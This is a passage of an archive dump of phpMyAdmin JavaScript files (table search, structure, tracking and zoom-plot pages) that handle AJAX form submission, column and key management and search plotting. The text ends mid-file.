$sourceElem = $('select[name^="destination_foreign_column[' + $(this).attr('data-index') + ']"]').last().parent(); $sourceElem .clone(true, true) .insertAfter($sourceElem) .find('select') .val(''); }); /** * Ajax event handler to add a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key', function (event) { event.preventDefault(); event.stopPropagation(); var $prevRow = $(this).closest('tr').prev('tr'); var $newRow = $prevRow.clone(true, true); // Update serial number. var currIndex = $newRow .find('a.add_foreign_key_field') .attr('data-index'); var newIndex = parseInt(currIndex) + 1; $newRow.find('a.add_foreign_key_field').attr('data-index', newIndex); // Update form parameter names. $newRow.find('select[name^="foreign_key_fields_name"]') .not($newRow.find('select[name^="foreign_key_fields_name"]').first()) .find('select[name^="destination_foreign_column"]') .not($newRow.find('select[name^="foreign_key_fields_name"]') .not($newRow.find('select[name^="foreign_key_fields_name"]').first()) .find('select[name^="destination_foreign_column"]').first() ).each(function () { $(this).parent().remove(); }); $newRow.find('input, select').each(function () { $(this).attr('name', $(this).attr('name').replace(/\d/, newIndex) ); }); $newRow.find('input[type="text"]').each(function () { $(this).val(''); }); // Finally add the row. $newRow.insertAfter($prevRow); }); /** * Ajax Event handler for 'Drop Foreign key' */ $('a.drop_foreign_key_anchor.ajax').on('click', function (event) { event.preventDefault(); var $anchor = $(this); // Object containing reference to the current field's row var $currRow = $anchor.parents('tr'); var dropQuery = Functions.escapeHtml( $currRow.children('td') .children('.drop_foreign_key_msg') .val() ); var question = Functions.sprintf(Messages.strDoYouReally, dropQuery); $anchor.confirm(question, $anchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingForeignKey, false); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); CommonActions.refreshMain(false, function () { // Do nothing }); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end Drop Foreign key var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', (windowWidth - 35) + 'px'); }); table/select.js000066600000034641151724624350007475 0ustar00/** * @fileoverview JavaScript functions used on /table/search * * @requires jQuery * @requires js/functions.js */ /* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js /* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */ // js/gis_data_editor.js var TableSelect = {}; /** * Checks if given data-type is numeric or date. * * @param {string} dataType Column data-type * * @return {boolean | string} */ TableSelect.checkIfDataTypeNumericOrDate = function (dataType) { // To test for numeric data-types. var numericRegExp = new RegExp( 'TINYINT|SMALLINT|MEDIUMINT|INT|BIGINT|DECIMAL|FLOAT|DOUBLE|REAL', 'i' ); // To test for date data-types. var dateRegExp = new RegExp( 'DATETIME|DATE|TIMESTAMP|TIME|YEAR', 'i' ); // Return matched data-type if (numericRegExp.test(dataType)) { return numericRegExp.exec(dataType)[0]; } if (dateRegExp.test(dataType)) { return dateRegExp.exec(dataType)[0]; } return false; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/select.js', function () { $('#togglesearchformlink').off('click'); $(document).off('submit', '#tbl_search_form.ajax'); $('select.geom_func').off('change'); $(document).off('click', 'span.open_search_gis_editor'); $('body').off('change', 'select[name*="criteriaColumnOperators"]'); // Fix for bug #13778, changed 'click' to 'change' }); AJAX.registerOnload('table/select.js', function () { /** * Prepare a div containing a link, otherwise it's incorrectly displayed * after a couple of clicks */ $('
              ') .insertAfter('#tbl_search_form') // don't show it until we have results on-screen .hide(); $('#togglesearchformlink') .html(Messages.strShowSearchCriteria) .on('click', function () { var $link = $(this); $('#tbl_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } // avoid default click action return false; }); var tableRows = $('#fieldset_table_qbe select.column-operator'); $.each(tableRows, function (index, item) { $(item).on('change', function () { changeValueFieldType(this, index); verifyAfterSearchFieldChange(index, '#tbl_search_form'); }); }); /** * Ajax event handler for Table search */ $(document).on('submit', '#tbl_search_form.ajax', function (event) { var unaryFunctions = [ 'IS NULL', 'IS NOT NULL', '= \'\'', '!= \'\'' ]; var geomUnaryFunctions = [ 'IsEmpty', 'IsSimple', 'IsRing', 'IsClosed', ]; // jQuery object to reuse var $searchForm = $(this); event.preventDefault(); // empty previous search results while we are waiting for new results $('#sqlqueryresultsouter').empty(); var $msgbox = Functions.ajaxShowMessage(Messages.strSearching, false); Functions.prepareForAjaxRequest($searchForm); var values = {}; $searchForm.find(':input').each(function () { var $input = $(this); if ($input.attr('type') === 'checkbox' || $input.attr('type') === 'radio') { if ($input.is(':checked')) { values[this.name] = $input.val(); } } else { values[this.name] = $input.val(); } }); var columnCount = $('select[name="columnsToDisplay[]"] option').length; // Submit values only for the columns that have unary column operator or a search criteria for (var a = 0; a < columnCount; a++) { if ($.inArray(values['criteriaColumnOperators[' + a + ']'], unaryFunctions) >= 0) { continue; } if (values['geom_func[' + a + ']'] && $.inArray(values['geom_func[' + a + ']'], geomUnaryFunctions) >= 0) { continue; } if (values['criteriaValues[' + a + ']'] === '' || values['criteriaValues[' + a + ']'] === null) { delete values['criteriaValues[' + a + ']']; delete values['criteriaColumnOperators[' + a + ']']; delete values['criteriaColumnNames[' + a + ']']; delete values['criteriaColumnTypes[' + a + ']']; delete values['criteriaColumnCollations[' + a + ']']; } } // If all columns are selected, use a single parameter to indicate that if (values['columnsToDisplay[]'] !== null) { if (values['columnsToDisplay[]'].length === columnCount) { delete values['columnsToDisplay[]']; values.displayAllColumns = true; } } else { values.displayAllColumns = true; } $.post($searchForm.attr('action'), values, function (data) { Functions.ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success === true) { if (typeof data.sql_query !== 'undefined') { // zero rows $('#sqlqueryresultsouter').html(data.sql_query); } else { // results found $('#sqlqueryresultsouter').html(data.message); $('.sqlqueryresults').trigger('makegrid'); } $('#tbl_search_form') // workaround for bug #3168569 - Issue on toggling the "Hide search criteria" in chrome. .slideToggle() .hide(); $('#togglesearchformlink') // always start with the Show message .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv') // now it's time to show the div containing the link .show(); $('html, body').animate({ scrollTop: 0 }, 'fast'); } else { $('#sqlqueryresultsouter').html(data.error); } Functions.highlightSql($('#sqlqueryresultsouter')); }); // end $.post() }); // Following section is related to the 'function based search' for geometry data types. // Initially hide all the open_gis_editor spans $('span.open_search_gis_editor').hide(); $('select.geom_func').on('change', function () { var $geomFuncSelector = $(this); var binaryFunctions = [ 'Contains', 'Crosses', 'Disjoint', 'Equals', 'Intersects', 'Overlaps', 'Touches', 'Within', 'MBRContains', 'MBRDisjoint', 'MBREquals', 'MBRIntersects', 'MBROverlaps', 'MBRTouches', 'MBRWithin', 'ST_Contains', 'ST_Crosses', 'ST_Disjoint', 'ST_Equals', 'ST_Intersects', 'ST_Overlaps', 'ST_Touches', 'ST_Within' ]; var tempArray = [ 'Envelope', 'EndPoint', 'StartPoint', 'ExteriorRing', 'Centroid', 'PointOnSurface' ]; var outputGeomFunctions = binaryFunctions.concat(tempArray); // If the chosen function takes two geometry objects as parameters var $operator = $geomFuncSelector.parents('tr').find('td').eq(4).find('select'); if ($.inArray($geomFuncSelector.val(), binaryFunctions) >= 0) { $operator.prop('readonly', true); } else { $operator.prop('readonly', false); } // if the chosen function's output is a geometry, enable GIS editor var $editorSpan = $geomFuncSelector.parents('tr').find('span.open_search_gis_editor'); if ($.inArray($geomFuncSelector.val(), outputGeomFunctions) >= 0) { $editorSpan.show(); } else { $editorSpan.hide(); } }); $(document).on('click', 'span.open_search_gis_editor', function (event) { event.preventDefault(); var $span = $(this); // Current value var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name var field = 'Parameter'; // Column type var geomFunc = $span.parents('tr').find('.geom_func').val(); var type; if (geomFunc === 'Envelope') { type = 'polygon'; } else if (geomFunc === 'ExteriorRing') { type = 'linestring'; } else { type = 'point'; } // Names of input field and null checkbox var inputName = $span.parent('td').children('input[type=\'text\']').attr('name'); // Token openGISEditor(); if (!gisEditorLoaded) { loadJSAndGISEditor(value, field, type, inputName); } else { loadGISEditor(value, field, type, inputName); } }); /** * Ajax event handler for Range-Search. */ $('body').on('change', 'select[name*="criteriaColumnOperators"]', function () { // Fix for bug #13778, changed 'click' to 'change' var $sourceSelect = $(this); // Get the column name. var columnName = $(this) .closest('tr') .find('th') .first() .text(); // Get the data-type of column excluding size. var dataType = $(this) .closest('tr') .find('td[data-type]') .attr('data-type'); dataType = TableSelect.checkIfDataTypeNumericOrDate(dataType); // Get the operator. var operator = $(this).val(); if ((operator === 'BETWEEN' || operator === 'NOT BETWEEN') && dataType) { var $msgbox = Functions.ajaxShowMessage(); $.ajax({ url: 'index.php?route=/table/search', type: 'POST', data: { 'server': CommonParams.get('server'), 'ajax_request': 1, 'db': $('input[name="db"]').val(), 'table': $('input[name="table"]').val(), 'column': columnName, 'range_search': 1 }, success: function (response) { Functions.ajaxRemoveMessage($msgbox); if (response.success) { // Get the column min value. var min = response.column_data.min ? '(' + Messages.strColumnMin + ' ' + response.column_data.min + ')' : ''; // Get the column max value. var max = response.column_data.max ? '(' + Messages.strColumnMax + ' ' + response.column_data.max + ')' : ''; $('#rangeSearchModal').modal('show'); $('#rangeSearchLegend').first().html(operator); $('#rangeSearchMin').first().text(min); $('#rangeSearchMax').first().text(max); // Reset input values on reuse $('#min_value').first().val(''); $('#max_value').first().val(''); // Add datepicker wherever required. Functions.addDatepicker($('#min_value'), dataType); Functions.addDatepicker($('#max_value'), dataType); $('#rangeSearchModalGo').on('click', function () { var minValue = $('#min_value').val(); var maxValue = $('#max_value').val(); var finalValue = ''; if (minValue.length && maxValue.length) { finalValue = minValue + ', ' + maxValue; } var $targetField = $sourceSelect.closest('tr') .find('[name*="criteriaValues"]'); // If target field is a select list. if ($targetField.is('select')) { $targetField.val(finalValue); var $options = $targetField.find('option'); var $closestMin = null; var $closestMax = null; // Find closest min and max value. $options.each(function () { if ( $closestMin === null || Math.abs($(this).val() - minValue) < Math.abs($closestMin.val() - minValue) ) { $closestMin = $(this); } if ( $closestMax === null || Math.abs($(this).val() - maxValue) < Math.abs($closestMax.val() - maxValue) ) { $closestMax = $(this); } }); $closestMin.attr('selected', 'selected'); $closestMax.attr('selected', 'selected'); } else { $targetField.val(finalValue); } $('#rangeSearchModal').modal('hide'); }); } else { Functions.ajaxShowMessage(response.error); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); } }); var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', (windowWidth - 69) + 'px'); }); table/structure.js000066600000045672151724624350010264 0ustar00/** * @fileoverview functions used on the table structure page * @name Table Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ // eslint-disable-next-line no-unused-vars /* global primaryIndexes:writable, indexes:writable, fulltextIndexes:writable, spatialIndexes:writable */ // js/functions.js /* global sprintf */ // js/vendor/sprintf.js /** * AJAX scripts for /table/structure * * Actions ajaxified here: * Drop Column * Add Primary Key * Drop Primary Key/Index * */ /** * Reload fields table */ function reloadFieldForm () { $.post($('#fieldsForm').attr('action'), $('#fieldsForm').serialize() + CommonParams.get('arg_separator') + 'ajax_request=true', function (formData) { var $tempDiv = $('
              ').append(formData.message); $('#fieldsForm').replaceWith($tempDiv.find('#fieldsForm')); $('#addColumns').replaceWith($tempDiv.find('#addColumns')); $('#move_columns_dialog').find('ul').replaceWith($tempDiv.find('#move_columns_dialog ul')); }); $('#page_content').show(); } function checkFirst () { if ($('select[name=after_field] option:selected').data('pos') === 'first') { $('input[name=field_where]').val('first'); } else { $('input[name=field_where]').val('after'); } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/structure.js', function () { $(document).off('click', 'a.drop_column_anchor.ajax'); $(document).off('click', 'a.add_key.ajax'); $(document).off('click', '#move_columns_anchor'); $(document).off('submit', '.append_fields_form.ajax'); $('body').off('click', '#fieldsForm button.mult_submit'); $(document).off('click', 'a[id^=partition_action].ajax'); $(document).off('click', '#remove_partitioning.ajax'); }); AJAX.registerOnload('table/structure.js', function () { // Re-initialize variables. primaryIndexes = []; indexes = []; fulltextIndexes = []; spatialIndexes = []; /** *Ajax action for submitting the "Column Change" and "Add Column" form */ $('.append_fields_form.ajax').off(); $(document).on('submit', '.append_fields_form.ajax', function (event) { event.preventDefault(); /** * @var form object referring to the export form */ var $form = $(this); var fieldCnt = $form.find('input[name=orig_num_fields]').val(); function submitForm () { var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } else if ($('.error:not(.tab)').length !== 0) { $('.error:not(.tab)').remove(); } if (typeof data.success !== 'undefined' && data.success === true) { $('#page_content') .empty() .append(data.message) .show(); Functions.highlightSql($('#page_content')); $('.result_query .alert-primary').remove(); if (typeof data.structure_refresh_route !== 'string') { // Do not reload the form when the code below freshly filled it reloadFieldForm(); } $form.remove(); Functions.ajaxRemoveMessage($msg); Navigation.reload(); if (typeof data.structure_refresh_route === 'string') { // Fetch the table structure right after adding a new column $.get(data.structure_refresh_route, function (data) { if (typeof data.success !== 'undefined' && data.success === true) { $('#page_content').append(data.message).show(); } }); } else { CommonActions.refreshMain('index.php?route=/table/structure'); } } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } function checkIfConfirmRequired ($form) { var i = 0; var id; var elm; var val; var nameOrig; var elmOrig; var valOrig; var checkRequired = false; for (i = 0; i < fieldCnt; i++) { id = '#field_' + i + '_5'; elm = $(id); val = elm.val(); nameOrig = 'input[name=field_collation_orig\\[' + i + '\\]]'; elmOrig = $form.find(nameOrig); valOrig = elmOrig.val(); if (val && valOrig && val !== valOrig) { checkRequired = true; break; } } return checkRequired; } /* * First validate the form; if there is a problem, avoid submitting it * * Functions.checkTableEditForm() needs a pure element and not a jQuery object, * this is why we pass $form[0] as a parameter (the jQuery object * is actually an array of DOM elements) */ if (Functions.checkTableEditForm($form[0], fieldCnt)) { // OK, form passed validation step Functions.prepareForAjaxRequest($form); if (Functions.checkReservedWordColumns($form)) { // User wants to submit the form // If Collation is changed, Warn and Confirm if (checkIfConfirmRequired($form)) { var question = sprintf( Messages.strChangeColumnCollation, 'https://wiki.phpmyadmin.net/pma/Garbled_data' ); $form.confirm(question, $form.attr('action'), function () { submitForm(); }); } else { submitForm(); } } } }); // end change table button "do_save_data" /** * Attach Event Handler for 'Drop Column' */ $(document).on('click', 'a.drop_column_anchor.ajax', function (event) { event.preventDefault(); /** * @var currTableName String containing the name of the current table */ var currTableName = $(this).closest('form').find('input[name=table]').val(); /** * @var currRow Object reference to the currently selected row (i.e. field in the table) */ var $currRow = $(this).parents('tr'); /** * @var currColumnName String containing name of the field referred to by {@link curr_row} */ var currColumnName = $currRow.children('th').children('label').text().trim(); currColumnName = Functions.escapeHtml(currColumnName); /** * @var $afterFieldItem Corresponding entry in the 'After' field. */ var $afterFieldItem = $('select[name=\'after_field\'] option[value=\'' + currColumnName + '\']'); /** * @var question String containing the question to be asked for confirmation */ var question = Functions.sprintf(Messages.strDoYouReally, 'ALTER TABLE `' + currTableName + '` DROP `' + currColumnName + '`;'); var $thisAnchor = $(this); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingColumn, false); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); params += CommonParams.get('arg_separator') + 'ajax_page_request=1'; $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); if ($('.result_query').length) { $('.result_query').remove(); } if (data.sql_query) { $('
              ') .html(data.sql_query) .prependTo('#structure_content'); Functions.highlightSql($('#page_content')); } // Adjust the row numbers for (var $row = $currRow.next(); $row.length > 0; $row = $row.next()) { var newVal = parseInt($row.find('td').eq(1).text(), 10) - 1; $row.find('td').eq(1).text(newVal); } $afterFieldItem.remove(); $currRow.hide('medium').remove(); // Remove the dropped column from select menu for 'after field' $('select[name=after_field]').find( '[value="' + currColumnName + '"]' ).remove(); // by default select the (new) last option to add new column // (in case last column is dropped) $('select[name=after_field] option').last().attr('selected','selected'); // refresh table stats if (data.tableStat) { $('#tablestatistics').html(data.tableStat); } // refresh the list of indexes (comes from /sql) $('.index_info').replaceWith(data.indexes_list); Navigation.reload(); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end of Drop Column Anchor action /** * Ajax Event handler for adding keys */ $(document).on('click', 'a.add_key.ajax', function (event) { event.preventDefault(); var $this = $(this); var currTableName = $this.closest('form').find('input[name=table]').val(); var currColumnName = $this.parents('tr').children('th').children('label').text().trim(); var addClause = ''; if ($this.is('.add_primary_key_anchor')) { addClause = 'ADD PRIMARY KEY'; } else if ($this.is('.add_index_anchor')) { addClause = 'ADD INDEX'; } else if ($this.is('.add_unique_anchor')) { addClause = 'ADD UNIQUE'; } else if ($this.is('.add_spatial_anchor')) { addClause = 'ADD SPATIAL'; } else if ($this.is('.add_fulltext_anchor')) { addClause = 'ADD FULLTEXT'; } var question = Functions.sprintf(Messages.strDoYouReally, 'ALTER TABLE `' + Functions.escapeHtml(currTableName) + '` ' + addClause + '(`' + Functions.escapeHtml(currColumnName) + '`);'); var $thisAnchor = $(this); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $this; var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); params += CommonParams.get('arg_separator') + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); // end Add key /** * Inline move columns **/ $(document).on('click', '#move_columns_anchor', function (e) { e.preventDefault(); var buttonOptionsError = {}; buttonOptionsError[Messages.strOK] = function () { $(this).dialog('close').remove(); }; var columns = []; $('#tablestructure').find('tbody tr').each(function () { var colName = $(this).find('input:checkbox').eq(0).val(); var hiddenInput = $('') .prop({ name: 'move_columns[]', type: 'hidden' }) .val(colName); columns[columns.length] = $('
            • ') .addClass('placeholderDrag') .text(colName) .append(hiddenInput); }); var colList = $('#move_columns_dialog').find('ul') .find('li').remove().end(); for (var i in columns) { colList.append(columns[i]); } colList.sortable({ axis: 'y', containment: $('#move_columns_dialog').find('div'), tolerance: 'pointer' }).disableSelection(); var $form = $('#move_columns_dialog').find('form'); $form.data('serialized-unmoved', $form.serialize()); const designerModalPreviewModal = document.getElementById('designerModalPreviewModal'); designerModalPreviewModal.addEventListener('shown.bs.modal', () => { const modalBody = designerModalPreviewModal.querySelector('.modal-body'); const $form = $('#move_column_form'); const formUrl = $form.attr('action'); const sep = CommonParams.get('arg_separator'); const formData = $form.serialize() + sep + 'preview_sql=1' + sep + 'ajax_request=1'; $.post({ url: formUrl, data: formData, success: response => { if (! response.success) { modalBody.innerHTML = ''; return; } modalBody.innerHTML = response.sql_data; Functions.highlightSql($('#designerModalPreviewModal')); }, error: () => { modalBody.innerHTML = ''; } }); }); designerModalPreviewModal.addEventListener('hidden.bs.modal', () => { designerModalPreviewModal.querySelector('.modal-body').innerHTML = '
              ' + '' + Messages.strLoading + '
              '; }); $('#moveColumnsModal').modal('show'); $('#designerModalGoButton').off('click');// Unregister previous modals $('#designerModalGoButton').on('click', function () { event.preventDefault(); var $msgbox = Functions.ajaxShowMessage(); var $this = $('#moveColumnsModal'); var $form = $this.find('form'); var serialized = $form.serialize(); // check if any columns were moved at all $('#moveColumnsModal').modal('hide'); if (serialized === $form.data('serialized-unmoved')) { Functions.ajaxRemoveMessage($msgbox); return; } $.post($form.prop('action'), serialized + CommonParams.get('arg_separator') + 'ajax_request=true', function (data) { if (data.success === false) { Functions.ajaxRemoveMessage($msgbox); var errorModal = $('#moveColumnsErrorModal'); errorModal.modal('show'); errorModal.find('.modal-body').first().html(data.error); } else { // sort the fields table var $fieldsTable = $('table#tablestructure tbody'); // remove all existing rows and remember them var $rows = $fieldsTable.find('tr').remove(); // loop through the correct order for (var i in data.columns) { var theColumn = data.columns[i]; var $theRow = $rows .find('input:checkbox[value=\'' + theColumn + '\']') .closest('tr'); // append the row for this column to the table $fieldsTable.append($theRow); } var $firstrow = $fieldsTable.find('tr').eq(0); // Adjust the row numbers and colors for (var $row = $firstrow; $row.length > 0; $row = $row.next()) { $row .find('td').eq(1) .text($row.index() + 1) .end() .removeClass('odd even') .addClass($row.index() % 2 === 0 ? 'odd' : 'even'); } Functions.ajaxShowMessage(data.message); } }); }); }); /** * Handles multi submits in table structure page such as change, browse, drop, primary etc. */ $('body').on('click', '#fieldsForm button.mult_submit', function (e) { e.preventDefault(); var $form = $(this).parents('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post(this.formAction, submitData, AJAX.responseHandler); }); /** * Handles clicks on Action links in partition table */ $(document).on('click', 'a[id^=partition_action].ajax', function (e) { e.preventDefault(); var $link = $(this); function submitPartitionAction (url) { var params = 'ajax_request=true&ajax_page_request=true&' + $link.getPostData(); Functions.ajaxShowMessage(); AJAX.source = $link; $.post(url, params, AJAX.responseHandler); } if ($link.is('#partition_action_DROP')) { $link.confirm(Messages.strDropPartitionWarning, $link.attr('href'), function (url) { submitPartitionAction(url); }); } else if ($link.is('#partition_action_TRUNCATE')) { $link.confirm(Messages.strTruncatePartitionWarning, $link.attr('href'), function (url) { submitPartitionAction(url); }); } else { submitPartitionAction($link.attr('href')); } }); /** * Handles remove partitioning */ $(document).on('click', '#remove_partitioning.ajax', function (e) { e.preventDefault(); var $link = $(this); var question = Messages.strRemovePartitioningWarning; $link.confirm(question, $link.attr('href'), function (url) { var params = Functions.getJsConfirmCommonParam({ 'ajax_request' : true, 'ajax_page_request' : true }, $link.getPostData()); Functions.ajaxShowMessage(); AJAX.source = $link; $.post(url, params, AJAX.responseHandler); }); }); $(document).on('change', 'select[name=after_field]', function () { checkFirst(); }); }); table/tracking.js000066600000007625151724624350010022 0ustar00/** * Unbind all event handlers before tearing down the page */ AJAX.registerTeardown('table/tracking.js', function () { $('body').off('click', '#versionsForm.ajax button[name="submit_mult"], #versionsForm.ajax input[name="submit_mult"]'); $('body').off('click', 'a.delete_version_anchor.ajax'); $('body').off('click', 'a.delete_entry_anchor.ajax'); }); /** * Bind event handlers */ AJAX.registerOnload('table/tracking.js', function () { $('#versions tr').first().find('th').append($('
              ')); $('#versions').tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 1: { sorter: 'integer' }, 5: { sorter: false }, 6: { sorter: false } } }); if ($('#ddl_versions tbody tr').length > 0) { $('#ddl_versions tr').first().find('th').append($('
              ')); $('#ddl_versions').tablesorter({ sortList: [[0, 0]], headers: { 0: { sorter: 'integer' }, 3: { sorter: false }, 4: { sorter: false } } }); } if ($('#dml_versions tbody tr').length > 0) { $('#dml_versions tr').first().find('th').append($('
              ')); $('#dml_versions').tablesorter({ sortList: [[0, 0]], headers: { 0: { sorter: 'integer' }, 3: { sorter: false }, 4: { sorter: false } } }); } /** * Handles multi submit for tracking versions */ $('body').on('click', '#versionsForm.ajax button[name="submit_mult"], #versionsForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); if ($button.val() === 'delete_version') { var question = Messages.strDeleteTrackingVersionMultiple; $button.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $form; $.post(url, submitData, AJAX.responseHandler); }); } else { Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } }); /** * Ajax Event handler for 'Delete version' */ $('body').on('click', 'a.delete_version_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeleteTrackingVersion; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); /** * Ajax Event handler for 'Delete tracking report entry' */ $('body').on('click', 'a.delete_entry_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeletingTrackingEntry; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); }); table/zoom_plot_jqplot.js000066600000053243151724624350011630 0ustar00// TODO: change the axis /** * @fileoverview JavaScript functions used on /table/search * * @requires jQuery * @requires js/functions.js **/ /* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js /** * Display Help/Info * @return {false} **/ function displayHelp () { var modal = $('#helpModal'); modal.modal('show'); modal.find('.modal-body').first().html(Messages.strDisplayHelp); $('#helpModalLabel').first().html(Messages.strHelpTitle); return false; } /** * Extend the array object for max function * @param {number[]} array * @return {int} **/ Array.max = function (array) { return Math.max.apply(Math, array); }; /** * Extend the array object for min function * @param {number[]} array * @return {int} **/ Array.min = function (array) { return Math.min.apply(Math, array); }; /** * Checks if a string contains only numeric value * @param {string} n (to be checked) * @return {bool} **/ function isNumeric (n) { return !isNaN(parseFloat(n)) && isFinite(n); } /** ** Checks if an object is empty * @param {object} obj (to be checked) * @return {bool} **/ function isEmpty (obj) { var name; for (name in obj) { return false; } return true; } /** * Converts a date/time into timestamp * @param {string} val Date * @param {string} type Field type(datetime/timestamp/time/date) * @return {any} A value **/ function getTimeStamp (val, type) { if (type.toString().search(/datetime/i) !== -1 || type.toString().search(/timestamp/i) !== -1 ) { return $.datepicker.parseDateTime('yy-mm-dd', 'HH:mm:ss', val); } else if (type.toString().search(/time/i) !== -1) { return $.datepicker.parseDateTime('yy-mm-dd', 'HH:mm:ss', '1970-01-01 ' + val); } else if (type.toString().search(/date/i) !== -1) { return $.datepicker.parseDate('yy-mm-dd', val); } } /** * Classifies the field type into numeric,timeseries or text * @param {object} field field type (as in database structure) * @return {'text'|'numeric'|'time'} **/ function getType (field) { if (field.toString().search(/int/i) !== -1 || field.toString().search(/decimal/i) !== -1 || field.toString().search(/year/i) !== -1 ) { return 'numeric'; } else if (field.toString().search(/time/i) !== -1 || field.toString().search(/date/i) !== -1 ) { return 'time'; } else { return 'text'; } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/zoom_plot_jqplot.js', function () { $('#tableid_0').off('change'); $('#tableid_1').off('change'); $('#tableid_2').off('change'); $('#tableid_3').off('change'); $('#inputFormSubmitId').off('click'); $('#togglesearchformlink').off('click'); $(document).off('keydown', '#dataDisplay :input'); $('button.button-reset').off('click'); $('div#resizer').off('resizestop'); $('div#querychart').off('jqplotDataClick'); }); AJAX.registerOnload('table/zoom_plot_jqplot.js', function () { var currentChart = null; var searchedDataKey = null; var xLabel = $('#tableid_0').val(); var yLabel = $('#tableid_1').val(); // will be updated via Ajax var xType = $('#types_0').val(); var yType = $('#types_1').val(); var dataLabel = $('#dataLabel').val(); // Get query result var searchedData; try { searchedData = JSON.parse($('#querydata').html()); } catch (err) { searchedData = null; } // adding event listener on select after AJAX request var comparisonOperatorOnChange = function () { var tableRows = $('#inputSection select.column-operator'); $.each(tableRows, function (index, item) { $(item).on('change', function () { changeValueFieldType(this, index); verifyAfterSearchFieldChange(index, '#zoom_search_form'); }); }); }; /** ** Input form submit on field change **/ // first column choice corresponds to the X axis $('#tableid_0').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_0').val(), 'it' : 0 }, function (data) { $('#tableFieldsId').find('tr').eq(1).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(1).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(1).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(1).find('td').eq(3).html(data.field_value); xLabel = $('#tableid_0').val(); $('#types_0').val(data.field_type); xType = data.field_type; $('#collations_0').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); // second column choice corresponds to the Y axis $('#tableid_1').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_1').val(), 'it' : 1 }, function (data) { $('#tableFieldsId').find('tr').eq(2).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(2).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(2).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(2).find('td').eq(3).html(data.field_value); yLabel = $('#tableid_1').val(); $('#types_1').val(data.field_type); yType = data.field_type; $('#collations_1').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); $('#tableid_2').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : 